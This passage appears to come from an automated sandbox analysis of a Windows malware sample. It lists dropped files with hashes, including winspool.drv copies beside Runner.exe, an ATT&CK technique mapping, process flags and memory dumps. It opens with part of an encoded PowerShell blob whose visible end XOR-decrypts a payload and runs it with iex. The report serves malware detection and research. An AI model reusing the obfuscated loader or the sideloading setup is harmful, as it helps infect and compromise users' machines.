AFgAVQB0AHEAMgBkAEYANQBwAGMAOABQAEcAWQBVACsATABVAGMAVABkAGUARABIAEcAcQBFAEIAeABaAEMAeQBDAHkAaQBnAEoAZwB4AE8AZABxAFgAZABzAHkANwBFAFIAVAB6AGMAdwBqADQASQB4AEEATQA1AFcAagB1AFYAdwBLADQAYQB5AEgAeABkAG0ATgBvACsAYwBJAGkAMwBmAFcANABuAGgASgBtAFgATgByAFIANABYAGUAVABhAGIAeQBpAGcAUwBrADEAdQBJAG8ASAB3AHQANABiAEIARABYAFcAUQB3AGoANQBnAG4AVQBKAGQATQBsAGUASQAxAEoAOQBUAHkAVwAxAEoAawBhAE0AUABWAGIAUwBDAGEAWABxAEcAdABaAGkAZgBBAGgAQgBKAGEAVABUAEQASgBnADIAawBhADEAVQBxAEIAKwBTAFkAbgAwAHUASQBSAEYAQwB0AHQAeABJAE0AawBRAEkAVQBlAGgALwBCAHYAZQB0AG0AcwBXAGwAWgAxAGUANAB2AGMAWQBWAHUASgBCADgAeQAvAGQARwBXAEsAKwAxAFUASgBLAGsAagBFAG4AMwBnAGEAMQAxAG0AUAAwAEgAaAA3ADEAdgBjAGYARwBtAHMAdgAzADgAdwBvAEcASQBRAE4AdQArAEYAcABWADgAZQBuAFEAaABzADUATQBNAEsAWABKAEYALwBLAEYAOQBIAGwAYwAyAGUAQwArADAASQBkAFgARwA3AEYAbABuAGcAVABrADEAdQBJAHAAQwBRADYAbQAvADgAYgBVAG4ANQB2AGkAOQBWADQAVgB0AEIAUwAyAFAAUQAwAGUASQBhAHgAQwAyAGgAaQBiAHMAeQBVAGQAQwBhAEUARABhADcAaABiAFcALwBEAHYARgBNAGIATgBIACsASAAxAFgANQBYAG0AawBUAFYAdgAzAFIAbABpAHYAdABZAEgAbgA1AHUAagA0AFUAbABBAEoAcABVAHgAcgA1AE8AWgB0AGEATABVADAAdABrAEkANAArAGYASgBVAEMAYQBSADgARwBnAGMAMwA3AEgAcwAwAFYAVwBhAHkALwBiAHoAQwBnAFAAdwAwAHEAQgArAFgANQBpADEAcgB4AGUAUwBHAE4AbgB6AHAAUgA4AFcANAAxAEsAZwBmAGwANwBhAHMAeQArAFcAbAA5AHAAYwBJACsARQBJAGkAbgBiAFcANQBuAGwAYgBtAGIAdgBxAGsASgBXAGEAQwBPAEMAeQBpAGcATwBrAEgATwBWADkAMgAxAHMAMABiAG8AZQBHAG0AMAA9ACcAKQA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAtAGwAdAAkAGQALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAZABbACQAaQBdAD0AJABkAFsAJABpAF0ALQBiAHgAbwByACQAawBbACQAaQAlACQAawAuAEwAZQBuAGcAdABoAF0AfQA7AGkAZQB4ACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZAApACkA
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

winspool.drv

Path C:\Users\Admin\.cache\677b444f-c64a-4d1e-b724-3af7f467e96f\winspool.drv
Size 963KB
SHA256 463a4f3e63d6a6dc59904abd54a30d9e2f9c15c3d8ef6ba23831f322e2f81459
MD5 0b6f12bf3d0435079db8ecb0d894007f
SHA1 87402d87d198bfe773af4b2311efa150f830122d
SHA512 933ccc6c3ec9c805a128be8c329f9982a06870f5011feb95d18c77c30163c2fb789de2a281f27f59be21ed5f94653d5c6fc5fec762d4c700f9e346e57fd8a6e0
SSDEEP 24576:MBZE8uXjnGTRzq3bPQKN/hxTb/fWEHUlYeSa07/jV:MBqTnGTRzhKN/LbTHUKM0
TLSH
T193257C0EB3B80555E4BB867D84A74219EBB278241712D3CF11A0C27D5F27BE5AF39B12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Runner.exe

Path C:\Users\Admin\.cache\dd15e46f-daa6-4cec-8bd9-1c371ab44732\Runner.exe
Size 12.8MB
SHA256 7f35436153011b4a16761d2dbd3841b5b1f26c2e44f80beca10feb84d4707318
MD5 2a01c0ecb55b21666fad995413168223
SHA1 e652de616ab3384211904fe9776af926d763e750
SHA512 ecad732e6ff17383dbf1a8ea5de05bf6fdc4859b1be264cff8992f141293d02ed4d4a6ce1c39d950199752389cbbe5be400b709b678b5c3ba0a13f63fee40387
SSDEEP 196608:DqzO3IwH/6iXn94Qy0GvJ4Z08RBCxXB7q3oW1CvGXBeCF:DAOzdnaQy0Z08RBCxXJq3o0LXoI
TLSH
T19CD67C9272945AB8D252FA3CC941826EF25DFC0C4B5187C781AA6D743E736D90C39FB2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WINSPOOL.DRV

Path C:\Users\Admin\.cache\dd15e46f-daa6-4cec-8bd9-1c371ab44732\WINSPOOL.DRV
Size 789KB
SHA256 9b383f3132cc0fee7534ed669c1d00907cc977ca1c77d0758b0e59b2ad5b2316
MD5 e4bd1e5cf11ad2a3cf3d1bc52b37b490
SHA1 6414d67875eb29d282919193f98c3e55be30e358
SHA512 13f72b43982ba067515d048717fde6ae5612b4e52d1dc0971734d7de2496cbdb9c0cc58cf0898cccfef16f66e47e70bf1788b82a0dc5c17012d45cabb3058646
SSDEEP 12288:lBZwBamCAcXjnGFzNMKOLo72BtnbBUKQPKN/hA6nclC8qO17X+:lBZEZuXjnGTRzq3bPQKN/hxSrrM
TLSH
T1D3055B1DF3B80555E4B7867984A74219EBB27824271293CF11A0C27C5F27FE5AF39B22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a.zip

Path C:\Users\Admin\.cache\dd15e46f-daa6-4cec-8bd9-1c371ab44732\a.zip
Size 6.7MB
SHA256 0cdc58596ea205966687562967d7706df692a2e2868315c15f2c8287eceb5e93
MD5 d952a97a67dfd3d27dbd41db09c22735
SHA1 27d1b60d716c6df9dc7d7f8a7bbe54d265cc8237
SHA512 9e5d44eda5604ce27036ef0122b65e821528011755d48f3af60fec480d05957dedb95f181b7aaf38808144e4a2886ef39037004d28c2330a2f26969413a8ca9d
SSDEEP 196608:SZDhIiYCrP9oTq07huu3EXV3WVqrGm0MN:ADhIvCD9o5MXV3yqrqMN
TLSH
T1546633831C4E75967F7CFE84ED51A726ED314A004E65B85D48EEA2903AF7CB84F022B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

..txt

Path C:\Users\Admin\AppData\Local\Temp\..txt
Size 24B
SHA256 f6c572744b1bfb6ccbb69afeaa0b8fe38789a189c0aa028147f5522448fe4097
MD5 65447bc78f7f3a1dfc33133d8c1747e0
SHA1 9452e7592414b5bd20162c6c9b89a0c5100c5f85
SHA512 3a47e42adffe7724a18300b0e7532acaba89b65b285e5f487c321cb1889db400f86420e636411e463789f906b830ad69f055727c0cfae5f4e8fc55ba553f520e
MD5 SHA1 SHA512

Submit Download

Tmp6C6C.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tmp6C6C.tmp
Size 2KB
SHA256 affc0dcac3a3e790a7fa317403ed9214641de97620f9834368d339c9d894c023
MD5 dbe05eed0bcb93b0f90cfd9fb21ce1e6
SHA1 735e67732440f8aee84b55f41522e6b4c983016f
SHA512 f605703a47b42ee74e2f6c13cfc6c9d37f83645761713a4becd3331f5a7c3151dcbbebcc137afb65e0145fafcb2e4c1143549631f74298bf799638fae0213fa1
TLSH
T1B041074663396A103925E23810FC7F27C840EB512FDDE16F3332A7D8991ED86360C286
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zqdemxpr.zok.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zqdemxpr.zok.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2712-57-0x0000022F39780000-0x0000022F39785000-memory.dmp

Download

memory/2712-69-0x0000022F3B210000-0x0000022F3B218000-memory.dmp

Download

memory/2712-89-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/2712-98-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/2712-99-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/3436-71-0x000001EFB4B10000-0x000001EFB4B64000-memory.dmp

Download

memory/3436-65-0x000001EFB2A50000-0x000001EFB2A54000-memory.dmp

Download

memory/3436-72-0x000001EFCCF10000-0x000001EFCCF28000-memory.dmp

Download

memory/3436-73-0x000001EFCD0A0000-0x000001EFCD0EC000-memory.dmp

Download

memory/5048-14-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-2-0x00007FFE2A8EF000-0x00007FFE2A8F0000-memory.dmp

Download

memory/5048-22-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-29-0x0000022BDFFB0000-0x0000022BE0062000-memory.dmp

Download

memory/5048-30-0x0000022BDFC10000-0x0000022BDFC1A000-memory.dmp

Download

memory/5048-28-0x0000022BDFD40000-0x0000022BDFD5E000-memory.dmp

Download

memory/5048-32-0x0000022BDFC10000-0x0000022BDFC1A000-memory.dmp

Download

memory/5048-31-0x0000022BDFD40000-0x0000022BDFD52000-memory.dmp

Download

memory/5048-21-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-20-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-17-0x0000022BDFDE0000-0x0000022BDFFA2000-memory.dmp

Download

memory/5048-16-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-15-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-23-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-13-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-12-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-11-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-10-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-9-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-7-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-88-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-8-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-96-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-97-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download

memory/5048-6-0x0000022BC7240000-0x0000022BC7262000-memory.dmp

Download

memory/5048-3-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp

Download